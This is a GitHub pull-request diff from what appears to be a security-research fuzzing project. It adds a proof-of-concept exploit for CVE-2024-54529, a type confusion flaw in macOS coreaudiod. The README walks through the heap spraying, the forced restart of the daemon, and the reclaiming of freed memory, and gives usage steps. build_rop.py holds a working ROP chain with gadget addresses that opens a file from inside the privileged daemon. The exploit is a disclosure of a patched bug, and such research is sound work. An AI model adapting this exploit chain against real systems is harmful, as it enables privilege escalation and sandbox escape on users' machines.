Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
19 changes: 19 additions & 0 deletions CoreAudioFuzz/exploit/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
# Compiler
CXX = clang++

# Flags
CFLAGS = -g -O0 -fno-omit-frame-pointer -Wall -Wunused-parameter -Wextra -std=c++17

# Frameworks
FRAMEWORKS = -framework CoreFoundation -framework CoreAudio

# Targets
all: exploit

exploit: exploit.mm
$(CXX) $(CFLAGS) $(FRAMEWORKS) exploit.mm -o exploit

clean:
rm -f exploit

.PHONY: all clean
78 changes: 78 additions & 0 deletions CoreAudioFuzz/exploit/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
# CoreAudio Exploit POC (macOS Sequoia)

**Disclaimer: This code is provided for educational and research purposes only. The author is not responsible for any damage to your system, data loss, or any misuse of this information. Use at your own risk. Please make sure to read the "Important Warnings" section below.**

## Overview

This repository contains a Proof-of-Concept (POC) exploit targeting a Type Confusion vulnerability ([CVE-2024-54529](https://project-zero.issues.chromium.org/issues/372511888)) in `coreaudiod`. The vulnerability was fixed on December 11, 2024, with the release of macOS Sequoia 15.2, Sonoma 14.7.2, and Ventura 13.7.2. This specific exploit was developed and tested on macOS Sequoia 15.0.1. The exploit utilizes a heap spray and ROP chain to achieve code execution within the privileged `coreaudiod` process. This can be leverage for both privilege escalation and sandbox escapes.

The successful execution of this exploit demonstrates writing a file to `/Library/Preferences/Audio/malicious.txt`.

## Technical Details

This exploit employs a chain of primitives to turn a Type Confusion into code execution:

1. **Uninitialized Memory:** The vulnerability relies on `ngne` objects having uninitialized memory (specifically a 6-byte gap) at offset `0x68`.
2. **Heap Feng Shui via Plists:** We use `HALS_Object_SetPropertyData_DPList` to spray the heap with controlled data. By constructing large nested Property Lists (plists) containing `CFString` and `CFArray` objects, we control the memory layout. This data is serialized to disk at `/Library/Preferences/Audio/com.apple.audio.DeviceSettings.plist`.
3. **Forced Restart Strategy:** `coreaudiod` cleans `malloc_tiny` zones but not `malloc_small` zones on allocation. To target the `ngne` objects (which are allocated in `malloc_small` only at startup), we intentionally crash `coreaudiod`.
4. **Race/Reclaim:** On restart, `coreaudiod` deserializes our massive plist, allocating memory for it, and then immediately frees it. The startup routine then allocates `ngne` objects, which hopefully reclaim the just-freed memory containing our controlled pointers.
5. **Pointer Chain & ROP:** The uninitialized memory at offset `0x68` now points to our controlled data, effectively creating a fake vtable. When the vulnerability is triggered, the program jumps to our ROP chain (encoded as UTF-16 string data to avoid validation issues), creating the target file.

## Further Reading

For a deep dive into the research behind this exploit, please refer to the following blog posts:

- **Part I (Fuzzing):** [Breaking the Sound Barrier: Part I - Fuzzing CoreAudio](https://projectzero.google/2025/05/breaking-sound-barrier-part-i-fuzzing.html)
- **Part II (Exploitation):** [Breaking the Sound Barrier: Part II - Exploiting CVE-2024-54529](https://TBD)

## Prerequisites

- **macOS Version:** Tested on macOS Sequoia 15.0.1.
- **SIP:** While developed on a system with SIP disabled for debugging, the primitives used are intended to work within the constraints of the hardened runtime, subject to specific sandbox allowances.
- **Dependencies:** Python 3, Xcode Command Line Tools (for compilation).

## Usage

The main entry point is `run_exploit.py`. This script manages the entire exploitation lifecycle: heap grooming, service restarting, and the repeated triggering of the race condition.

```bash
# Clean previous builds and compile the exploit binary
make exploit

# Run the exploit runner
./run_exploit.py
```

### What Happens?

1. **Backup:** The script automatically backs up your current audio configuration (`/Library/Preferences/Audio/com.apple.audio.DeviceSettings.plist`) to `default-plist.plist` in the current directory.
2. **Heap Grooming:** It performs a massive heap spray (creating thousands of dummy audio objects) to prepare the memory layout.
3. **Service Reload:** It intentionally crashes `coreaudiod` once to force it to reload with the sprayed configuration.
4. **Exploit Loop:** It continuously attempts to trigger the UAF vulnerability until the ROP chain successfully executes.

## ⚠️ Important Warnings

**1. Audio Device Spam:**
Running this exploit will create a **massive number of dummy audio devices** on your system as part of the heap grooming process. You may experience audio unresponsiveness or latency until you perform the recovery steps below.

**2. Recovery:**
The script is designed to handle this, but if your audio system behaves strangely after running the exploit, you can restore your original state:

* **Automatic Backup:** The script saves your original state to `default-plist.plist`.
* **Manual Reset:** A helper script is provided to clear the clutter. Run it with `sudo` to restore the clean state:
```bash
sudo ./reset-devices.sh
```

**3. System Stability:**
This is a userland exploit involving system daemons. While unlikely to panic the kernel directly, crashing `coreaudiod` repeatedly may cause temporary audio loss or system instability.

## Code Structure

- `run_exploit.py`: The Python orchestration script. Handles state management, backups, and looping.
- `exploit.mm`: The C++ source code for the exploit binary. Handles the low-level Mach IPC messages, object creation, and memory spraying.
- `build_rop.py`: Python script to generate the ROP chain payload (`rop_payload.bin`). You'll need to find the correct runtime addresses for these gadgets, and do so again every time the system restarts.

## License

This software is open-source and provided "as is", without warranty of any kind.
55 changes: 55 additions & 0 deletions CoreAudioFuzz/exploit/build_rop.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
#!/usr/bin/env python3

import struct

# Helper for 64-bit little-endian packing
def p64(val):
return struct.pack("<Q", val)

# Gadget Addresses
STACK_PIVOT_GADGET = 0x7ff810b908a4 # xchg rsp, rax ; xor edx, edx ; ret
POP_RDI_GADGET = 0x7ff80f185186 # pop rdi ; ret
POP_RSI_GADGET = 0x7ff811fa1e36 # pop rsi ; ret
POP_RDX_GADGET = 0x7ff811cce418 # pop rdx; ret
POP_RAX_GADGET = 0x7ff811c93b09 # pop rax; ret
ADD_HEX30_RSP = 0x7ff80f17d035 # add rsp, 0x30 ; pop rbp ; ret
LOAD_RSP_PLUS_EIGHT = 0x7ffd1491ac80 # lea rax, [rsp + 8] ; ret
MOV_RAX_TO_RSI = 0x7ff80f41b060 # mov rsi, rax ; mov rax, rsi ; pop rbp ; ret
MOV_RSI_TO_RDI = 0x7ff827af146d # mov rdi, rsi ; mov rax, rdi ; mov rdx, rdi ; ret
DEADBEEF_POINTER = 0xdeadbeeffeedface
INLINE_STRING = ( #"/Library/Preferences/Audio/malicious.txt\0" (41 bytes including null terminator)
b"\x2f\x4c\x69\x62\x72\x61\x72\x79\x2f\x50\x72\x65\x66\x65\x72"
b"\x65\x6e\x63\x65\x73\x2f\x41\x75\x64\x69\x6f\x2f\x6d\x61\x6c"
b"\x69\x63\x69\x6f\x75\x73\x2e\x74\x78\x74\x00"
)
POP_RCX_GADGET = 0x7ff8093d7a98 # pop rcx ; ret
JMP_RCX_GADGET = 0x7ff80eafebff # jmp rcx
SYSCALL = 0x7ff80f1534d0 # syscall

# Beginning of stack after pivot
rop = bytearray(p64(LOAD_RSP_PLUS_EIGHT)) # lea rax, [rsp + 8] ; ret
rop += p64(ADD_HEX30_RSP) # add rsp, 0x30 ; pop rbp ; ret
rop += INLINE_STRING # Inline "/Library/Preferences/Audio/malicious.txt"
rop += b'\x42' * 15 # pop rbp filler and will be moved past
rop += p64(MOV_RAX_TO_RSI) # mov rsi, rax ; mov rax, rsi ; pop rbp ; ret
rop += p64(0x4242424242424242) # pop rbp filler
rop += p64(MOV_RSI_TO_RDI) # mov rdi, rsi ; mov rax, rdi ; mov rdx, rdi ; ret
rop += p64(POP_RSI_GADGET) # pop rsi ; ret
rop += p64(0x201) # O_CREAT | O_WRONLY
rop += p64(POP_RDX_GADGET) # pop rdx ; ret
rop += p64(0x1A4) # 0644
rop += p64(POP_RAX_GADGET) # pop rax ; ret
rop += p64(0x2000005) # syscall number for open()
rop += p64(SYSCALL) # syscall
rop += b'\x42' * (1152 - len(rop))

# [rax + 0x168] → pointer to pivot gadget (entrypoint)
rop[0x168:0x170] = p64(STACK_PIVOT_GADGET) # xchg rsp, rax ; xor edx, edx ; ret

print("ROP length:", len(rop)) # Should print 1152
# Write to file
with open("rop_payload.bin", "wb") as f:
f.write(rop)

print("[*] ROP chain written to rop_payload.bin")

Loading